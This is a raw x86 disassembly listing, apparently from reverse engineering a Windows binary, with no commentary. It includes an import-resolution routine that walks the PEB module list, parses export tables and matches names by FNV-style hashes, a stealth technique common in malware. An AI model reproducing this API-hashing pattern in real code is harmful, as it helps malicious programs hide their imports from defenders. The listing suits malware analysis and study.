mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x44]
mov dword [esp + 0x1c], ebx
mov ebx, dword [eax + 0x18]
mov edi, dword [esp + 0x1c]
cmp edi, dword [esp + 0x10]
je 0x431144
test edx, edx
jne 0x4310c8
mov ebx, dword [esp + 0x18]
mov eax, dword [eax]
jmp 0x43103f
mov edx, dword [esp + 0x5c]
mov ecx, dword [esp + 0x2c]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + ebx]
add edi, ebx
cmp edi, edx
jbe 0x431203
mov eax, dword [esp + 0x38]
add eax, edx
cmp edi, eax
jae 0x431203
mov al, byte [edi]
mov ecx, esi
mov dword [esp + 0x18], esi
mov ebx, esi
mov dword [esp + 0x10], ecx
cmp al, 0x2e
je 0x4311bb
movsx eax, al
xor eax, ebx
imul ecx, eax, 0x1000193
mov eax, ecx
shr eax, 0x10
xor eax, ecx
imul ecx, eax, 0x1000193
mov eax, ecx
shr eax, 0x10
xor eax, ecx
imul ebx, eax, 0x1000193
inc edi
mov al, byte [edi]
cmp al, 0x2e
jne 0x431189
mov dword [esp + 0x18], ebx
mov ecx, esi
inc edi
mov al, byte [edi]
test al, al
je 0x4311f2
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov eax, ecx
shr eax, 0x10
xor eax, ecx
imul ecx, eax, 0x1000193
mov eax, ecx
shr eax, 0x10
xor eax, ecx
imul ecx, eax, 0x1000193
inc edi
mov al, byte [edi]
test al, al
jne 0x4311c2
mov dword [esp + 0x10], ecx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
jmp 0x43113d
mov esi, dword [esp + 0x34]
mov dword [0x4e7a2c], edi
call fcn.00438c98
push eax
call edi
mov edi, eax
call fcn.00438c98
push edi
push eax
lea eax, [esp + 0xd8]
push eax
lea ecx, [esp + 0x3fc]
call fcn.0043a945
mov ebx, dword [esp + 0x4c]
lea ecx, [esp + 0x3f0]
push 4
push ebx
mov byte [esp + 0x422], 1
call fcn.0042bac8
push 1
push ebx
lea ecx, [esp + 0x3f8]
call fcn.0042bac8
test ebx, ebx
je 0x43127e
push ebx
push dword [esp + 0xd0]
lea ecx, [esp + 0x3f8]
push ebx
call fcn.0042b7c7
push eax
call fcn.004b1c10
add esp, 0xc
xor eax, eax
lea ecx, [esp + 0x3f0]
push ebx
mov byte [esp + 0x41e], al
call fcn.0043a6cb
cmp dword [esp + 0xd0], 0
mov edi, eax
mov ebx, dword [esp + 0x404]
mov byte [esp + 0x41a], 1
je 0x4312d2
push ecx
push dword [esp + 0xd4]
lea ecx, [esp + 0x3f8]
call fcn.0042b93a
push eax
push 8
lea ecx, [esp + 0x3fc]
call fcn.0043a704
cmp dword [esp + 0xd4], 0
je 0x4312ff
push ecx
push dword [esp + 0xd8]
lea ecx, [esp + 0x3f8]
call fcn.0042b93a
push eax
push 6
lea ecx, [esp + 0x3fc]
call fcn.0043a704
test esi, esi
je 0x431320
push ecx
push esi
lea ecx, [esp + 0x3f8]
call fcn.0042b93a
push eax
push 4
lea ecx, [esp + 0x3fc]
call fcn.0043a704
push ebx
lea ecx, [esp + 0x3f4]
call fcn.0042b968
cmp byte [0x4e5d2b], 0
mov esi, eax
mov dl, byte [0x4e5cbc]
mov bl, byte [0x4e5cbd]
jne 0x431353
cmp byte [0x4e5cff], 0
jne 0x431353
xor eax, eax
mov cl, al
jmp 0x431355
mov cl, 1
movzx eax, byte [0x4e5cfe]
push ecx
push eax
push dword [0x4e5ca8]
movzx eax, byte [0x4e5d7c]
push dword [0x4e5cb4]
push dword [0x4e5cac]
push dword [0x4e5cb0]
push dword [0x4e5cb8]
push eax
movzx eax, byte [0x4e5cbf]
push edx
push ebx
push ecx
push eax
movzx eax, byte [0x4e5cbe]
push eax
mov eax, dword [0x4e2b20]
sub eax, dword [0x4e2b1c]
push 0x7c
cdq
pop ecx
idiv ecx
push eax
mov eax, dword [0x4e2b14]
sub eax, dword [0x4e2b10]
push 0x48
pop ecx
cdq
idiv ecx
lea edx, [esp + 0x428]
push eax
lea ecx, [esp + 0x114]
call fcn.0042bb1e
mov ebx, dword [esp + 0x440]
add esp, 0x3c
cmp dword [esp + 0xd8], 0
mov byte [esp + 0x41a], 1
je 0x43140d
push ecx
push dword [esp + 0xdc]
lea ecx, [esp + 0x3f8]
call fcn.0042b93a
push eax
push 8
lea ecx, [esp + 0x3fc]
call fcn.0043a704
test edi, edi
je 0x43142e
push ecx
push edi
lea ecx, [esp + 0x3f8]
call fcn.0042b93a
push eax
push 6
lea ecx, [esp + 0x3fc]
call fcn.0043a704
test esi, esi
je 0x43144f
push ecx
push esi
lea ecx, [esp + 0x3f8]
call fcn.0042b93a
push eax
push 4
lea ecx, [esp + 0x3fc]
call fcn.0043a704
push ebx
lea ecx, [esp + 0x3f4]
call fcn.0042b968
push dword [esp + 0x41c]
mov esi, eax
lea ecx, [esp + 0x3f4]
mov eax, dword [esp + 0x40c]
push 4
mov dword [esp + 0x418], eax
call fcn.0042bac8
push esi
lea ecx, [esp + 0x3f4]
call fcn.0042b93a
push eax
lea ecx, [esp + 0x3f4]
call fcn.0043a6cb
mov edx, dword [esp + 0x404]
xor eax, eax
mov ecx, dword [esp + 0x40c]
push eax
call fcn.00434250
mov ebx, eax
pop ecx
lea ecx, [ebx + 0xa]
call fcn.00417738
mov edi, eax
test edi, edi
je 0x431509
mov edx, dword [esp + 0x404]
lea esi, [edi + 9]
mov ecx, dword [esp + 0x40c]
push esi
call fcn.00434250
pop ecx
xor eax, eax
mov byte [edi + ebx + 9], al
lea eax, [ebx + 0xa]
push eax
push edi
push 2
pop ebx
push ebx
push 0x42e2d7
push dword [0x4e5ce4]
call fcn.0043ccdb
add esp, 0x14
mov ecx, edi
call fcn.00416e90
xor eax, eax
mov edi, eax
jmp 0x43150c
push 2
pop ebx
mov ecx, dword [0x4e61f4]
call fcn.004b0491
mov ecx, edi
call fcn.00416e90
lea ecx, [esp + 0x428]
call fcn.0040bd96
mov esi, dword [esp + 0x424]
test esi, esi
je 0x431546
mov ecx, esi
call fcn.0043a289
push 0xc
push esi
call fcn.004b0d24
pop ecx
pop ecx
mov ecx, dword [esp + 0x408]
mov esi, dword [esp + 0x3f0]
test ecx, ecx
je 0x431574
test esi, esi
je 0x43156d
push dword [esp + 0x400]
mov eax, dword [esi]
push ecx
mov ecx, esi
call dword [eax + 8]
jmp 0x431574
push ecx
call fcn.004b0e42
pop ecx
cmp byte [esp + 0x3f4], 0
je 0x43158a
test esi, esi
je 0x43158a
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax]
lea esi, [esp + 0xed0]
sub esi, 0x24
lea ecx, [esi + 0x18]
call fcn.0040c3f8
mov ecx, esi
call fcn.0040c4e8
sub ebx, 1
jne 0x431591
lea ecx, [esp + 0x608]
call fcn.0043889c
push dword [esp + 0xf4]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call esi
push dword [esp + 0xf8]
call esi
mov ecx, dword [esp + 0x10d4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004b0ce6
mov esp, ebp
pop ebp
ret 0x10
call fcn.0040d902
int3